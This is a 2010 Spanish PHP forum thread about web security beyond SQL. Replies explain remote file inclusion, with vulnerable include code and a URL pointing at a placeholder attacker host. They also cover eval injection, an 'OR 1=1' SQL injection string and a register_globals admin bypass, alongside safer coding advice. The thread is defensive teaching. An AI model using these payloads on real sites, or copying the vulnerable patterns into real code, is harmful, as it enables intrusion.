Foros del Web » Programando para Internet » PHP »

Seguridad php que no sea por sql

Estas en el tema de Seguridad php que no sea por sql en el foro de PHP en Foros del Web. hola, alguien podría decirme cuales son los pasos para hacer una web segura en el aspecto de la arquitectura? osea no la parte que involucra ...
  #1 (permalink)  
Antiguo 01/01/2010, 17:15
 
Fecha de Ingreso: agosto-2009
Ubicación: Al fondo a la derecha
Mensajes: 308
Antigüedad: 14 años, 9 meses
Puntos: 6
Pregunta Seguridad php que no sea por sql

hola, alguien podría decirme cuales son los pasos para hacer una web segura en el aspecto de la arquitectura?

osea no la parte que involucra sql sino la parte de la prrotección de variables en los IF ELSE etc... es que vi un artículo de un blog y no me quedó claro como pueden hackearte poniendo /=variable en la url... xd

Agradezco la colaboración :D
__________________
Abre tu mente: Index no signigica index, significa índice
  #2 (permalink)  
Antiguo 01/01/2010, 17:26
Avatar de Yefb  
Fecha de Ingreso: septiembre-2008
Ubicación: Medellín
Mensajes: 55
Antigüedad: 15 años, 8 meses
Puntos: 1
Respuesta: Seguridad php que no sea por sql

Simplemente nunca dependas de las variables globales para trabajar, pues son inseguras.
Para pasar variables debes usar los arrays SUPERGLOBALES.
Quizá no me entenderás del todo, pero te recomiendo que te documentes un poco sobre php, en especial en esa parte del porqué no debes usar "register_globals".
Ésta y otras indicaciones de seguridad son importantes, pero la más imprescindible es que aprendas a programar.
Saludos!
  #3 (permalink)  
Antiguo 01/01/2010, 17:28
 
Fecha de Ingreso: agosto-2009
Ubicación: Al fondo a la derecha
Mensajes: 308
Antigüedad: 14 años, 9 meses
Puntos: 6
Respuesta: Seguridad php que no sea por sql

lo de register_globals creo que lo tiene marcado a fuego cualquiera que posetee 2 veces en este foro jajaja

pero digo... osea si no las uso no hay forma de que me hagan "truquitos" en la estructura de la web?

yo se programar... pero me voy mucho por la funcionalidad y nunca tuve problemas de seguridad jaja asi que algo debe andar mal xD
__________________
Abre tu mente: Index no signigica index, significa índice
  #4 (permalink)  
Antiguo 01/01/2010, 17:30
Avatar de pato12  
Fecha de Ingreso: septiembre-2007
Ubicación: Salta
Mensajes: 1.620
Antigüedad: 16 años, 7 meses
Puntos: 101
Respuesta: Seguridad php que no sea por sql

Bueno, hay muchos metodos de hackeo XD
- El de injecsion SQL.. (ya lo deves saber :p)

- El de subir archivos... si no verificas bien los datos que el usuario sube, te pueden meter algun virus o un archivo .php y lo ejecutan xD

- El del get (o modulos)... a mi me hackearon 2 veses por ese metodo, mira te explico. Si haces asi para tus modulos (como solia hacer yo):
Código PHP:
Ver original
  1. $id=$_GET['id'];
  2. include("{$id}.php");
entonces, alguien hizo: index.php?id=http://www.web_que_ataca.com/archivo_para_infectar
y se va a ejecutar en mi servidor. Asi me infectaron todos mis archivos XD
por ese es bueno poner asi:
Código PHP:
Ver original
  1. $id=$_GET['id']; // Algunos filtros aqui....
  2. if(file_exists("./modulos/{$id}.php"))
  3. include("./modulos/{$id}.php");
  4. else
  5. die('El modulo no existe!..');
y otra cosa... no uses $_GET[ALGO AQUI] o $_POST[ALGO AQUI]... si no gurdalas en una variable y filtradas.

Despues deven aver otro metodos de hackeo, pero no conosco :p
Suerte
Salu2
__________________
Half Music - www.halfmusic.com
  #5 (permalink)  
Antiguo 01/01/2010, 17:35
Avatar de pateketrueke
Modernizr
 
Fecha de Ingreso: abril-2008
Ubicación: Mexihco-Tenochtitlan
Mensajes: 26.399
Antigüedad: 16 años
Puntos: 2534
Respuesta: Seguridad php que no sea por sql

bien, de lo que hablas es SQL Injection... que es una forma de "evaluar" la entrada, como si fuera una consulta de SQL natural...

también puede hacerse en cualquier lenguaje, tan simple como:

foo.php?exec=die(phpversion())
Código PHP:
eval($_GET['exec']); 
...o, así pasa con SQL(+PHP)
Código PHP:
$name "' OR 1=1 AND NULL = '";
$sql "SELECT * FROM users WHERE nick = '$name'";
// SELECT * FROM users WHERE nick = '' OR 1=1 AND NULL = '' 
de forma inexplicable, ahí debe notarse el ¿porque? de las inyecciones de SQL ... de veras!!

Vamos, no hablas de SQL... pero en PHP es la misma tontería

index.php?seccion=index
Código PHP:
include_once $_GET['seccion'] . '.php'
hay que analizar el ejemplo.... ¿que sucede?
R: recursion
...

__________________
Y U NO RTFM? щ(ºдºщ)

No atiendo por MP nada que no sea personal.
  #6 (permalink)  
Antiguo 01/01/2010, 17:36
 
Fecha de Ingreso: agosto-2009
Ubicación: Al fondo a la derecha
Mensajes: 308
Antigüedad: 14 años, 9 meses
Puntos: 6
Respuesta: Seguridad php que no sea por sql

Muchas gracias por los datos! sigan si pueden jeje

pateketrueke sisi entendí tu concepto, creo que lo estoy haciendo bien por ahora ^^

osea en cuanto a la limpieza de las variables al momento de ejecutar consultas lo tengo bien claro.
El sistema de gets también, es más lo he desarrollado batante sin saberlo jaja

Peor vieron esos casos en que dicen que si no creas la variable antes del if es como que peuden definirla ellos agregando cadenas en la url o no se que...

osea que el hacker puede decidir el valor de la variable aunque esta no sea GET... nose como es el tema...
__________________
Abre tu mente: Index no signigica index, significa índice
  #7 (permalink)  
Antiguo 01/01/2010, 23:36
Avatar de Acron_0248  
Fecha de Ingreso: junio-2005
Ubicación: 127.0.0.1
Mensajes: 1.648
Antigüedad: 18 años, 10 meses
Puntos: 18
Respuesta: Seguridad php que no sea por sql

Cita:
Iniciado por iLeaz Ver Mensaje
Peor vieron esos casos en que dicen que si no creas la variable antes del if es como que peuden definirla ellos agregando cadenas en la url o no se que...

osea que el hacker puede decidir el valor de la variable aunque esta no sea GET... nose como es el tema...
Mucho mejor si das el enlace al artículo para entender qué te están diciendo, pero por lo que leo, pareciera que te hablan de algo que ya te han dicho acá, register_globals

Básicamente, si register_globals está activo, una variable recibida por get, post, cookie, environment o server, tomaría un valor que podría usarse para saltarse una validación aunque dicha variable no haya sido definida en el script antes de una validación

Este es un típico ejemplo de ello:

Tienes la url http://sitio.com/login.php?admin=1

En el código de login.php tienes:
Código PHP:
if ( isset($_POST['password']) && !empty($_POST['password']) ) {
  
$admin true;

El problema allí, aunque la validación regrese falso (la clave no se envió o la clave está vacía), es que $admin será true, no porque se haya hecho con el código, sino porque desde la URL y debido a register_globals habilitado, se logró definir $admin = 1; lo que claro, convierte $admin en true a ojos del intérprete cuando vaya a ser utilizado nuevamente.

Eso es lo más cercano que conozco a definir valores desde una url que puedan comprometer luego alguna validación hecha por un script. Al menos en base a lo que dices
__________________
Usuario Reigistrado de linux #399288

Etiquetas: seguridad, sql
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 14:24.